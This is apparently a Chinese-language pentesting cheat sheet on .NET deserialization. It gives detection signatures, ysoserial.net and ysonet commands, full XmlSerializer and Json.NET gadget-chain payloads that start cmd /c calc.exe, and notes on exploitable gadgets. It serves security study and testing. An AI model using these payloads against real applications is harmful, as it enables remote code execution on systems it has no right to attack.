跳转至

.NET 反序列化 (.NET Deserialization)

.NET 序列化是将对象的状态转换为易于存储或传输的格式(如 XML、JSON 或二进制)的过程。随后可以将这些序列化数据保存到文件中、通过网络发送或存储在数据库中。之后,可以对其进行反序列化以重建原始对象,并保持其数据完整。序列化在 .NET 中广泛用于缓存、应用程序间的数据传输和会话状态管理等任务。

摘要 (Summary)

检测 (Detection)

数据 描述
AAEAAD (十六进制) .NET BinaryFormatter
FF01 (十六进制) .NET ViewState
/w (Base64) .NET ViewState

示例:AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0u[...]0KPC9PYmpzPgs=

工具 (Tools)

  • pwntester/ysoserial.net - 针对多种 .NET 格式化程序的反序列化 Payload 生成器。

    cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s
    ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
    ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
    ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
    
  • irsdl/ysonet - 针对多种 .NET 格式化程序的反序列化 Payload 生成器。

    cat my_long_cmd.txt | ysonet.exe -o raw -g WindowsIdentity -f Json.Net -s
    ./ysonet.exe -p DotNetNuke -m read_file -f win.ini
    ./ysonet.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
    ./ysonet.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
    

格式化程序 (Formatters)

NETNativeFormatters.png 来自 pwntester/attacking-net-serialization 的 .NET 原生格式化程序

XmlSerializer

  • 在 C# 源代码中,查找 XmlSerializer(typeof(<TYPE>));
  • 攻击者必须能够控制 XmlSerializer 的类型 (type)
  • Payload 输出:XML
.\ysoserial.exe -g ObjectDataProvider -f XmlSerializer -c "calc.exe"
<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
        <ExpandedElement/>
        <ProjectedProperty0>
            <MethodName>Parse</MethodName>
            <MethodParameters>
                <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
                    <![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc.exe</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
                </anyType>
            </MethodParameters>
            <ObjectInstance xsi:type="XamlReader"></ObjectInstance>
        </ProjectedProperty0>
    </ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>

DataContractSerializer

DataContractSerializer 以松散耦合的方式进行反序列化。它绝不会从传入数据中读取公共语言运行时 (CLR) 类型和程序集名称。XmlSerializer 的安全模型与 DataContractSerializer 类似,主要区别在于细节。例如,使用 XmlIncludeAttribute 属性而不是 KnownTypeAttribute 属性来进行类型包含。

  • 在 C# 源代码中,查找 DataContractSerializer(typeof(<TYPE>))
  • Payload 输出:XML
  • 数据类型 (Type)必须由用户控制才能被利用。

NetDataContractSerializer

它扩展了 System.Runtime.Serialization.XmlObjectSerializer 类,并且能够序列化任何被 Serializable 属性标记的类型,就像 BinaryFormatter 一样。

  • 在 C# 源代码中,查找 NetDataContractSerializer().ReadObject()
  • Payload 输出:XML
.\ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "calc.exe" -o base64 -t

LosFormatter

  • 内部使用 BinaryFormatter
.\ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64 -t

JSON.NET

  • 在 C# 源代码中,查找 JsonConvert.DeserializeObject<Expected>(json, new JsonSerializerSettings
  • Payload 输出:JSON
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc.exe" -t
{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd', '/c calc.exe']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

BinaryFormatter

BinaryFormatter 类型是危险的,不建议用于数据处理。应用程序应尽快停止使用 BinaryFormatter,即使它们认为正在处理的数据是可信的。BinaryFormatter 是不安全的,且无法通过修改使其安全。

  • 在 C# 源代码中,查找 System.Runtime.Serialization.Binary.BinaryFormatter
  • 利用需要 [Serializable]ISerializable 接口。
  • Payload 输出:二进制 (Binary)
./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t

POP Gadget (POP Gadgets)

这些 Gadget 必须具有以下属性:

  • 可序列化
  • 公共/可设置的变量
  • 魔术“函数”:Get/Set, OnSerialisation, 构造函数/析构函数

您必须针对特定的格式化程序 (formatter) 仔细选择您的 Gadget

常用 Payload 中使用的热门 Gadget 列表:

  • ObjectDataProvider 来自 C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll
    • 使用 MethodParameters 设置任意参数
    • 使用 MethodName 调用任意函数
  • ExpandedWrapper

    • 指定被封装对象的 object types
    ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
    
  • System.Configuration.Install.AssemblyInstaller

    • 使用 Assembly.Load 执行 Payload
    // System.Configuration.Install.AssemblyInstaller
    public void set_Path(string value){
        if (value == null){
            this.assembly = null;
        }
        this.assembly = Assembly.LoadFrom(value);
    }
    

参考资料 (References)